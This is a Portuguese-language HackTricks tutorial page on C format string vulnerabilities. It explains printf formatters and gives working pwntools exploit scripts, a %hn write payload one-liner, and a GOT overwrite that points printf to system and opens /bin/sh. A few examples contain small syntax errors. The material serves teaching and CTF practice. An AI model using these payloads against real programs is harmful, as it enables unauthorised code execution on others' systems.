mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-19 09:34:03 +00:00
170 lines
8.9 KiB
Markdown
170 lines
8.9 KiB
Markdown
# Strings de Formato
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
## Informação Básica
|
|
|
|
Em C, **`printf`** é uma função que pode ser usada para **imprimir** uma string. O **primeiro parâmetro** que essa função espera é o **texto bruto com os formatadores**. Os **parâmetros seguintes** esperados são os **valores** para **substituir** os **formatadores** do texto bruto.
|
|
|
|
A vulnerabilidade ocorre quando um **texto do atacante é usado como o primeiro argumento** para esta função. O atacante será capaz de criar uma **entrada especial abusando** das capacidades de **strings de formato printf** para ler e **escrever quaisquer dados em qualquer endereço (legível/gravável)**. Sendo capaz, desta forma, de **executar código arbitrário**.
|
|
|
|
#### Formatadores:
|
|
```bash
|
|
%08x —> 8 hex bytes
|
|
%d —> Entire
|
|
%u —> Unsigned
|
|
%s —> String
|
|
%n —> Number of written bytes
|
|
%hn —> Occupies 2 bytes instead of 4
|
|
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
|
|
```
|
|
**Exemplos:**
|
|
|
|
* Exemplo vulnerável:
|
|
```c
|
|
char buffer[30];
|
|
gets(buffer); // Dangerous: takes user input without restrictions.
|
|
printf(buffer); // If buffer contains "%x", it reads from the stack.
|
|
```
|
|
* Uso Normal:
|
|
```c
|
|
int value = 1205;
|
|
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
|
|
```
|
|
* Com Argumentos Ausentes:
|
|
```c
|
|
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
|
|
```
|
|
### **Acessando Ponteiros**
|
|
|
|
O formato **`%<n>$x`**, onde `n` é um número, permite indicar ao printf para selecionar o parâmetro n (da pilha). Portanto, se você deseja ler o 4º parâmetro da pilha usando printf, você poderia fazer:
|
|
```c
|
|
printf("%x %x %x %x")
|
|
```
|
|
e você leria do primeiro ao quarto parâmetro.
|
|
|
|
Ou você poderia fazer:
|
|
```c
|
|
printf("$4%x")
|
|
```
|
|
e leia diretamente o quarto.
|
|
|
|
Observe que o atacante controla o parâmetro `pr`**`intf`, o que basicamente significa que** sua entrada estará na pilha quando `printf` for chamado, o que significa que ele poderia escrever endereços de memória específicos na pilha.
|
|
|
|
{% hint style="danger" %}
|
|
Um atacante controlando essa entrada será capaz de **adicionar endereços arbitrários na pilha e fazer com que o `printf` acesse**. Na próxima seção será explicado como usar esse comportamento.
|
|
{% endhint %}
|
|
|
|
## **Leitura Arbitrária**
|
|
|
|
É possível usar o formatador **`$n%s`** para fazer com que o **`printf`** obtenha o **endereço** situado na **posição n**, seguindo-o e **imprimindo-o como se fosse uma string** (imprimir até encontrar um 0x00). Portanto, se o endereço base do binário for **`0x8048000`**, e sabemos que a entrada do usuário começa na 4ª posição na pilha, é possível imprimir o início do binário com:
|
|
```python
|
|
from pwn import *
|
|
|
|
p = process('./bin')
|
|
|
|
payload = b'%6$p' #4th param
|
|
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
|
|
payload += p32(0x8048000) #6th param
|
|
|
|
p.sendline(payload)
|
|
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
|
|
```
|
|
{% hint style="danger" %}
|
|
Note que não é possível colocar o endereço 0x8048000 no início da entrada porque a string será concatenada com 0x00 no final desse endereço.
|
|
{% endhint %}
|
|
|
|
## **Escrita Arbitrária**
|
|
|
|
O formatador **`$<num>%n`** escreve o **número de bytes escritos** no **endereço indicado** no parâmetro \<num> na pilha. Se um atacante puder escrever tantos caracteres quanto desejar com printf, ele será capaz de fazer o **`$<num>%n`** escrever um número arbitrário em um endereço arbitrário.
|
|
|
|
Felizmente, para escrever o número 9999, não é necessário adicionar 9999 "A"s à entrada, para fazer isso é possível usar o formatador **`%.<num-write>%<num>$n`** para escrever o número **`<num-write>`** no **endereço apontado pela posição `num`**.
|
|
```bash
|
|
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
|
AAAA.%500\$08x —> Param at offset 500
|
|
```
|
|
No entanto, observe que geralmente, para escrever um endereço como `0x08049724` (que é um número ENORME para escrever de uma vez), **é usado `$hn`** em vez de `$n`. Isso permite **escrever apenas 2 Bytes**. Portanto, essa operação é feita duas vezes, uma para os 2B mais altos do endereço e outra vez para os mais baixos.
|
|
|
|
Portanto, essa vulnerabilidade permite **escrever qualquer coisa em qualquer endereço (escrita arbitrária)**.
|
|
|
|
Neste exemplo, o objetivo será **sobrescrever** o **endereço** de uma **função** na **tabela GOT** que será chamada posteriormente. Embora isso possa abusar de outras técnicas de escrita arbitrária para execução:
|
|
|
|
{% content-ref url="../arbitrary-write-2-exec/" %}
|
|
[arbitrary-write-2-exec](../arbitrary-write-2-exec/)
|
|
{% endcontent-ref %}
|
|
|
|
Vamos **sobrescrever** uma **função** que **recebe** seus **argumentos** do **usuário** e **apontá-la** para a **função `system`**.\
|
|
Como mencionado, para escrever o endereço, geralmente são necessários 2 passos: Você **escreve primeiro 2Bytes** do endereço e depois os outros 2. Para fazer isso, é usado **`$hn`**.
|
|
|
|
* **HOB** é chamado para os 2 bytes mais altos do endereço
|
|
* **LOB** é chamado para os 2 bytes mais baixos do endereço
|
|
|
|
Então, devido ao funcionamento da string de formato, você precisa **escrever primeiro o menor** de \[HOB, LOB\] e depois o outro.
|
|
|
|
Se HOB < LOB\
|
|
`[endereço+2][endereço]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
|
|
|
|
Se HOB > LOB\
|
|
`[endereço+2][endereço]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
|
|
|
|
HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
|
|
```
|
|
{% endcode %}
|
|
|
|
### Modelo Pwntools
|
|
|
|
Você pode encontrar um modelo para preparar um exploit para esse tipo de vulnerabilidade em:
|
|
|
|
{% content-ref url="format-strings-template.md" %}
|
|
[format-strings-template.md](format-strings-template.md)
|
|
{% endcontent-ref %}
|
|
|
|
Ou este exemplo básico de [**aqui**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
|
|
```python
|
|
from pwn import *
|
|
|
|
elf = context.binary = ELF('./got_overwrite-32')
|
|
libc = elf.libc
|
|
libc.address = 0xf7dc2000 # ASLR disabled
|
|
|
|
p = process()
|
|
|
|
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
|
|
p.sendline(payload)
|
|
|
|
p.clean()
|
|
|
|
p.sendline('/bin/sh')
|
|
|
|
p.interactive()
|
|
```
|
|
## Outros Exemplos e Referências
|
|
|
|
* [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
|
|
* [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|